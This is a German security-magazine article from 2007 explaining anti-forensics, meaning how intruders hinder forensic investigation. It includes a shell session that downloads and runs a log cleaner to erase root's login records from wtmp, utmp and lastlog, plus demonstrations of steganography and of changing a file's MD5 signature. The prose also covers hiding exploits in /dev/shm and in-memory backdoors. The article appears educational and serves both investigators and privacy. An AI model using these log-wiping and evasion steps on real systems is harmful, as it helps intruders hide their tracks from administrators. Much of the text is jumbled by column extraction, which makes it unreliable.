Sie sind auf Seite 1von 5

Anti-Forensics

Angriff

Stefan Klaas (GroundZero Security Research)

Schwierigkeitsgrad

Eine forensische Analyse wird nach einem Einbruch in ein


System, zur Spurensicherung durchgeführt. Dabei wird versucht,
alle relevanten Daten eines Angriffes auszulesen. Wenn einige
Dateien gelöscht wurden, versucht der Forensiker, diese wieder
von der Festplatte zu lesen.

W
ar der Hacker faul und hat seine Forensische Analysen
Dateien nur normal gelöscht, kann Um zu verstehen, worum es sich bei dem ganzen
– in den meisten Fällen – alles wie- Thema handelt, müssen wir zuerst einmal wis-
der hergestellt werden. Es gibt verschiedene sen, was forensische Analysen eigentlich sind!
Methoden, wie Daten wiederhergestellt wer- Kurz gesagt – ein Forensiker versucht,
den können. Meist wird dies mit Programmen herrauszufinden, WER, WAS, WO, WANN,
wie EnCase erledigt. Dies ist möglich, da das WOMIT und WESHALB getan hat?
Betriebssystem beim Löschen einer Datei, die Eine forensische Analyse wird meist bei
Bytes nicht zerstört bzw. ändert, sondern ledig- Einbrüchen in ein Computersystem angwandt,
lich den belegten Bereich der Datei als freien um Spuren zu sichern. Hierbei wird versucht,
Platz markiert und somit dem OS zur Verfügung so viele relevante Daten wie möglich, zu
stellt. Der freie Platz auf einer Festplatte ist also sammeln. Da ein Angreifer meistens die Log-
nicht wirklich leer (außer – die Platte ist neu), Dateien ändert bzw. Dateien löscht, versucht
sondern ist voll mit alten Daten. Um eine Datei
wirklich unwiderruflich zu löschen, benötigt
man ein spezielles Programm. Mit Hilfe eines In diesem Artikel erfahren
solchen wird jedes einzelne Byte mehrmals Sie...
überschrieben. Dieses Programm unterstüzen
mehrere sichere Lösch-Algorythmen, wie den • Wie Angreifer forensische Analysen erschweren;
DOD (Department of Defense) Standard oder • Die eigene Privatsphäre zu schützen.
den sichersten von Peter Gutmann, der die
Datei 35-mal mit verschiedenen Bitmustern
überschreibt. Außerdem ist es möglich, den Was Sie vorher wissen/können
kompletten freien Speicherplatz, sicher mit den sollten...
genannten Algorythmen zu überschreiben. Dies
• Linux Grundkenntnisse.
macht eine forensische Analyse des freien Fest-
plattenspeichers unmöglich.

30 hakin9 Nr 6/2007 www.hakin9.org/de


Anti-Forensics

Listing 1. Zugriffszeiten Listing 3. /dev/shm

Server /root# touch Datei Server /root# mount |grep shm


Server /root# stat Datei tmpfs on /dev/shm type tmpfs (rw)
File: `Datei' Server /root# df -h |grep shm
Size: 0 Blocks: 0 IO Block: 4096 regular empty file tmpfs 252M 0
Device: 303h/771d Inode: 5458920 Links: 1 252M 0%
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) /dev/shm
Access: 2007-03-08 16:43:23.000000000 +0100 Server /root#
Modify: 2007-03-08 16:43:23.000000000 +0100
Change: 2007-03-08 16:43:23.000000000 +0100
Server /root#
ersetzen möchte, darf er sie nicht
löschen, sondern nur überschreiben
ein Forensiker, genau diese Daten Datei-Zugriffszeiten und danach access, modification
wieder zu finden. Wurden Daten Bei jeder Datei wird vom Betriebssys- und change time mit einem spe-
nicht sicher gelöscht, können diese tem ein Zeitstempel angelegt. Er gibt ziellen Programm wieder auf den
einfach, mit speziellen Programmen, Auskunft über den letzten Zugriff, Originalstand setzen. Löscht er
wiederhergestellt werden. Wurden letzte Modifikation und Erstellungs- einfach die Datei und erstellt sie auf
die Zugriffszeiten bei Dateien nicht datum der Datei (siehe Listing 1). neu, ändert sich die Inode und somit
geändert oder können fehlende Log- Wie Sie außerdem sehen kön- kann festgestellt werden, dass eine
Daten wiederhergestellt werden, nen, wird auch die genaue Inode Datei verändert wurde, auch wenn
kann ein Forensiker den Zeitpunkt und die Rechte der Datei angege- die A/M/C Zeiten etwas Anderes
eines Angriffes bestimmen. ben. Wenn ein Angreifer eine Datei aussagen.

Listing 2. Log Cleaner Test

Server /root/anti-forensics-article# wget http: <system type> – linux


//packetstormsecurity.org/UNIX/ – bsd
penetration/log-wipers/mig- – sun
logcleaner11.tar.gz
--15:49:10-- http://packetstormsecurity.org/UNIX/ Server anti-forensics-article/mig-logcleaner# make linux
penetration/log-wipers/mig- gcc -DLINUX -Wall -o mig-logcleaner mig-logcleaner.c
logcleaner11.tar.gz Server anti-forensics-article/mig-logcleaner# cp mig-
=> `mig-logcleaner11.tar.gz' logcleaner ../clean
Resolving packetstormsecurity.org... 213.150.45.194 Server anti-forensics-article/mig-logcleaner# cd ../
Connecting to packetstormsecurity.org|213.150.45.194|: Directory: /root/anti-forensics-article
80... connected. Server /root/anti-forensics-article# who
HTTP request sent, awaiting response... 200 OK 15:50:37 up 6 days, 3:54, 1 user, load average: 0.03,
Length: 6,705 (6.5K) [application/x-tar] 0.01, 0.00
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
100%[==================================================== root pts/1 13:50 0.00s 0.47s 0.00s w
=================================== Server /root/anti-forensics-article# last -a | head -1
===========================>] 6,705 root pts/1 Mon Mar 12 13:50 still logged in
22.32K/s groundzero-security.com
Server /root/anti-forensics-article# ./clean -u root
15:49:10 (22.26 KB/s) – `mig-logcleaner11.tar.gz' saved
[6705/6705] ******************************
* MIG Logcleaner v2.0 by no1 *
Server /root/anti-forensics-article# tar -xzvf mig- ******************************
logcleaner11.tar.gz
mig-logcleaner/ [0x1] 63 users "root" detected in /var/log/wtmp
mig-logcleaner/mig-logcleaner.c [0x2] Removed "root" entry #1 from /var/log/wtmp
mig-logcleaner/makefile [0x3] Removed "root" coresponding entry from /var/run/
mig-logcleaner/readme.mig utmp
Server /root/anti-forensics-article# cd mig-logcleaner/ [0x4] Changing "root" coresponding entry in /var/log/
Directory: /root/anti-forensics-article/mig-logcleaner lastlog
Server anti-forensics-article/mig-logcleaner# make
Server /root/anti-forensics-article# who
MIG Logcleaner by no1 (greyhats.za.net) Server /root/anti-forensics-article# last -a | head -1
----------------------------------------- root pts/2 Sat Mar 10 20:22 – 20:22 (00:00)
g-0.org
usage: make <system type> Server /root/anti-forensics-article#

www.hakin9.org/de hakin9 Nr 6/2007 31


Angriff

Listing 4. Steganographie Software installieren

Server /root/anti-forensics-article# wget "http://prdownloads.sourceforge.net/steghide/steghide-0.5.1-


1.i386.rpm?download"
--14:49:55-- http://prdownloads.sourceforge.net/steghide/steghide-0.5.1-1.i386.rpm?download
=> `steghide-0.5.1-1.i386.rpm?download'
Resolving prdownloads.sourceforge.net... 66.35.250.217
Connecting to prdownloads.sourceforge.net|66.35.250.217|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://downloads.sourceforge.net/steghide/steghide-0.5.1-1.i386.rpm?download [following]
--14:49:56-- http://downloads.sourceforge.net/steghide/steghide-0.5.1-1.i386.rpm?download
=> `steghide-0.5.1-1.i386.rpm?download'
Resolving downloads.sourceforge.net... 66.35.250.203
Connecting to downloads.sourceforge.net|66.35.250.203|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://heanet.dl.sourceforge.net/sourceforge/steghide/steghide-0.5.1-1.i386.rpm [following]
--14:49:56-- http://heanet.dl.sourceforge.net/sourceforge/steghide/steghide-0.5.1-1.i386.rpm
=> `steghide-0.5.1-1.i386.rpm'
Resolving heanet.dl.sourceforge.net... 193.1.193.66, 2001:770:18:aa40::c101:c142
Connecting to heanet.dl.sourceforge.net|193.1.193.66|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 190,253 (186K) [application/x-redhat-package-manager]

100%[===============================================================================================
===================>] 190,253 222.17K/s

14:49:57 (221.68 KB/s) – `steghide-0.5.1-1.i386.rpm' saved [190253/190253]

Server /root/anti-forensics-article# rpm -i steghide-0.5.1-1.i386.rpm


Server /root/anti-forensics-article# steghide
steghide version 0.5.1

Listing 5. Steganographie-Test

Server /root/anti-forensics-article# echo "Secret Data" > private.txt


Server /root/anti-forensics-article# cat private.txt
Secret Data
Server /root/anti-forensics-article# wget http://www.groundzero-security.com/logo-simple.jpg
--15:00:37-- http://www.groundzero-security.com/logo-simple.jpg
=> `logo-simple.jpg'
Resolving www.groundzero-security.com... 85.214.80.55
Connecting to www.groundzero-security.com|85.214.80.55|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,923 (18K) [image/jpeg]

100%[===============================================================================================
===================>] 18,923 --.--K/s

15:00:38 (48.77 MB/s) – `logo-simple.jpg' saved [18923/18923]

Server /root/anti-forensics-article# md5sum logo-simple.jpg


d95f5d85136781ebdae55ec36b75938a logo-simple.jpg
Server /root/anti-forensics-article# steghide embed -cf logo-simple.jpg -ef private.txt
Enter passphrase:
Re-Enter passphrase:
embedding "private.txt" in "logo-simple.jpg"... done
Server /root/anti-forensics-article# md5sum logo-simple.jpg
22a7338a7de094fae41ffef3c8982200 logo-simple.jpg
Server /root/anti-forensics-article# rm private.txt -f
Server /root/anti-forensics-article# file logo-simple.jpg
logo-simple.jpg: JPEG image data, JFIF standard 1.01
Server /root/anti-forensics-article# steghide extract -sf logo-simple.jpg
Enter passphrase:
wrote extracted data to "private.txt".
Server /root/anti-forensics-article# cat private.txt
Secret Data
Server /root/anti-forensics-article#

32 hakin9 Nr 6/2007 www.hakin9.org/de


Anti-Forensics

Listing 6. Signaturen verändern

Server /root/anti-forensics-article# cp /bin/ls test

Server /root/anti-forensics-
article# md5sum test
bb81f1ace603d2c8ab79de6607419684 test
Server /root/anti-forensics-article# echo "Hakin9" >> test
Server /root/anti-forensics-article# ./test -la
total 96
drwxr-xr-x 2 root root 4096 Mar 12 15:36 .
drwx------ 18 root root 4096 Mar 12 15:35 ..
-rwxr-xr-x 1 root root 82647 Mar 12 15:36 test
Server /root/anti-forensics-article# md5sum test
611fdc9ebeb07c4ee92a83d1891cca64 test
Server /root/anti-forensics-article#

Es gibt bereits unzählige Menge /dev/shm Aufenthalt


solcher Programme im Internet, im Arbeitsspeicher
sehen wir uns also einmal einen ohne Festplattenzugriff
solchen log cleaner an. Wir suchen /dev/shm ist ein temporäres Dateisys-
einfach bei Google. tem (sog. Shared Memory Concept),
In unserem Beispiel haben welches direkt im Arbeitsspeicher
wir nun unseren Login versteckt. erstellt wird. Es wurde implementiert,
Normalerweise werden in den um Daten zwischen Prozessen aus-
WTMP/UTMP Logs die Logindaten zutauschen. Mit den Kommandos df
gespeichert. Das Kommando who oder mount Sehen Sie /dev/shm als
greift darauf zu, um die aktuellen tempfs (siehe Listing 3).
User anzuzeigen. Da es sich hierbei um ein virtu-
Wir haben uns gerade eben un- elles Dateisystem handelt, werden
sichtbar gemacht. Das Kommando keine Daten auf der Festplatte
last zeigt die gespeicherten Logins gespeichert. Daher sind Daten, die
an, d.h. wann welcher User sich an dort gespeichert werden, nur tem-
das System angemeldet hat und porär und nach einem Reboot (oder
wie lange seine Session gedauert unmount) logischerweise nicht mehr
hat. Angreifer ändern diese Daten, vorhanden.
damit bei einer Analyse der genau- Aus diesem Grund benutzen
en Zeitpunkt des Angriffes nicht Angreifer oft dieses Verzeichnis, um
bestimmt werden kann. Werden lokale Exploits dort zu speichern.
allerdings IP Verbindungsdaten am Sollte es zu unerwarteten Problemen
Router oder IDS gespeichert, war mit einem Exploit kommen, etwa ein
diese Methode umsonst. Kernel Panic, dann wäre der Exploit
Ähnlich sieht es bei anderen aus /dev/shm nach dem Reboot ge-
Protokollierungsdaten aus. Ein löscht.
Angreifer wird immer versuchen,
seine Spuren zu verwischen und Rootkits im Speicher
somit wird er auch versuchen, je- Wenn ein Angreifer mit Program-
de mögliche Form von Logging zu men wie Tripwire konfrontiert wird,
umgehen. kann es für ihn von Nutzen sein,
Deshalb kann man Logfiles ein Backdoor in den Speicher
nach einem Angriff nicht mehr wirk- eines anderen Programmes zu in-
lich trauen. Ein Angreifer kann auch jezieren. Hat ein Server eine hohe
einfach die Logs verfälschen. Also uptime und wird selten rebooted,
zum Beispiel einfach eine andere hat der Angreifer genug Zeit, um
IP eintragen und schon scheint es, an die gewünschten Daten zu
als ob der Angriff von einem ganz gelangen, bis sein Backdoor nicht
anderen System ausging. mehr funktioniert.

www.hakin9.org/de hakin9 Nr 6/2007 33


Angriff

Es gibt einige Backdoor-Pro- dies bei einem normalen PC nicht einfach durchzuführen, jedoch nicht
gramme, die zum Beispiel die ptra- sehr lange. Mit genug Computer wirklich clever. Ein Angreifer muss
ce() Funktion benutzen, um einem Power können aber auch längere lediglich ein einziges Byte in der
Angreifer Zugriff auf den Server zu Passwörter geknackt werden. Datei ändern und schon resultiert
gewähren. Da diese Form von Root- Es gibt aber auch Software, um dies in einer anderen Signatur. Ich
kit für einen normalen Administrator die komplette Festplatte inklusive kann Ihnen das kurz demonstrieren.
schwer zu entdecken ist und eine Betriebssystem zu verschlüsseln. Ich kopiere die Datei /bin/ls in mein
forensische Analyse erschwert, wird Hierbei wird im Master Boot Record Verzechnis als test, dann generiere
diese Methode bei gut geschützten (MBR) eine Authentifizierung einge- ich die MD5 Summe und füge den
Servern verwendet. bunden. Wird die Festplatte nun in String Hakin9 an das Ende der Datei
Penetration-Tester nutzen diese ein anderes System eingebunden, (siehe Listing 6).
Methode auch gerne, um Kunden- kann nicht darauf zugegriffen wer- Wie Sie sehen können, kann die
schwachstellen in der lokalen Si- den. Somit wird eine forensische Datei weiterhin ausgeführt werden,
cherheitssoftware zu demonstrieren. Festplatten-Analyse unmöglich, so- doch die MD5 Summe hat sich geän-
fern der Krypto-Algorythmus nicht dert. Somit würde also ein Signatur-
Encryption zu schwach ist oder der Forensiker Vergleich nicht funktionieren.
– der Alptraum das Passwort kennt.
jedes Forensikers Fazit
Angreifer benutzen gerne verschie- Steganographie Es gibt viele Möglichkeiten, Angrei-
dene Verschlüsselungsmethoden, Mit diesem Verfahren ist es möglich, fer zu entdecken, jedoch gibt es
um eine forensische Analyse zu Daten in Bildern oder Audio Dateien auch sehr viele Methoden, um Pro-
verhindern. zu verstecken. tokollierungs- bzw. Systemdaten zu
Ein verschlüsseltes Dateisystem Es gibt unzählige Programme, fälschen. Nach einem Angriff kann
zum Beispiel, kann auch von erfahre- welche diese Methode benutzen, man also seinen Logfiles nicht
nen Forensikern nicht entschlüsselt um Daten verschlüsselt in Bild Do- immer trauen. Ein Angreifer kann
werden, sofern es keine Sicherheits- kumenten zu verstecken. Allerdings auch nur im Speicher sitzen, ohne
löcher in der Krypto-Software selbst gibt es auch Programme, die Bilder dass er jemals auf die Festplatte
gibt oder er irgendwie an den Schlüs- scannen, um versteckte Daten zu schreibt. Auch eine Speicherana-
sel kommt. suchen. Ohne zugehöriges Pass- lyse kann erfolglos sein, wenn der
Mit Programmen wie BestCrypt wort wird es jedoch schwer, an die Angreifer sein virtuelles Dateisys-
kann ein Krypto-Kontainer erstellt Daten zu gelangen. Versuchen wir tem verschlüsselt. Allerdings kann
werden, indem Daten sicher ge- doch einfach einmal als Beispiel, ei- man dieses Wissen auch einset-
speichert werden. Das Dateisys- ne Datei in einem Bild zu verstecken. zen, um seine eigenen privaten
tem kann nur mit dem richtigen Dazu downloaden wir ein spezielles Daten vor Dritten zu schützen.
Schlüssel geöffnet werden. Für den Programm (siehe Listing 4). Verstecken Sie Ihre privaten Daten
Benutzer wird ein verschlüsseltes Ok, da wir unser Programm instal- immer verschlüsselt! Wir haben
Dateisystem in dem Kontainer liert haben, können wir unseren Test nun einige Methoden kennen ge-
angelegt. Gibt er das richtige Pass- starten. Wir fügen eine Textdatei in lernt, jedoch gibt es weitaus mehr
wort ein, kann er ganz normal auf ein JPG Bild ein (siehe Listing 5). zu entdecken. Suchen Sie doch
die enthaltenen Verzeichnisse bzw. So einfach ist es also, Dateien zu einfach mal im Internet! Es gibt un-
Daten zugreifen, wie auf eine nor- verstecken. Das JPG Bild zeigt keine zählige freie Programme, die Sie zu
male Festplatte. Veränderung und kann nach wie vor diesem Thema finden können. l
Oft verschlüsseln Hacker auch normal geöffnet werden. Dies funk-
ihre Programme, die Sie auf ent- tioniert natürlich auch mit anderen
fernten Systemen benutzen. Es gibt Dateiformaten.
einige ELF encryption Tools, um Über den Autor
binäre Dateien mit einem Passwort MD5 Analyse Stefan Klaas beschäftigt sich seit
zu schützen. Meist können solche Ein Forensiker kann versuchen, über 10 Jahren mit IT Sicherheit und
hat als Security Administrator und
Programme nicht entschlüsselt auf einem Image, welches er ana-
Software Entwickler gearbeitet. Seit
werden – außer das Passwort lysieren möchte, bekannte Dateien
2005 ist er Geschäftsführer der Fir-
ist zu schwach und kann mit der mittels eines MD5 Hashes zu su- ma GroundZero Security Research in
sog. Bruteforce Methode geknackt chen. Sucht er zum Beispiel ein be- Deutschland. Er schreibt immernoch
werden. Hierbei werden alle mög- stimmtes Dokument auf dem Image, sog. Proof of Concept Exploit Code,
lichen Kombinationen von Zahlen, erstellt er einen MD5 Hash dieser beteiligt sich aktiv an Sicherheitsfor-
Buchstaben und Sonderzeichen Datei und scannt alle Daten auf schungen und führt Penetrationtests
als Passwort versucht. Bei kurzen dem Image nach dieser Signatur. für Kunden aus.
Passwörtern mit 0-6 Zeichen dauert Diese Methode ist sehr schnell und

34 hakin9 Nr 6/2007 www.hakin9.org/de